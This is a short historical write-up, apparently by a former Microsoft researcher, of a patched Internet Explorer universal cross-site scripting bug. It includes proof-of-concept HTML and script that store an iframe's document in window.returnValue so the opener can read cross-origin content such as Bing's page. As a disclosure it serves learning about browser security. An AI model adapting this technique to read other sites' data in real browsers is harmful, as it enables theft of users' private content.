This was a simplified variant of the modelessDialog external-object UXSS. Rather than using the external object, it stored the iFrame’s document directly in window.returnValue — a property that persisted across navigations and remained readable from the opener.

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>xDom_iFrame_returnValue</title>
</head>
<body>
<script language="JavaScript">

function main()
{
	showModelessDialog("modeless.html", "", "dialogwidth=720px;dialogheight=320px");
}
</script>
</body>
</html>

The modeless.html contained:

<iframe src="about:blank" name="iFrame" width="700" height="300"></iframe>
<script>
window.returnValue = iFrame.document;
</script>

After the modeless loaded, the iFrame was navigated to bing.com. Despite the cross-origin navigation, window.returnValue still held a reference to the iFrame’s live document object. Reading window.returnValue.body.innerText from the opener returned Bing’s content in full. The fix for the earlier external.returnValue variant had left this simpler path open.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.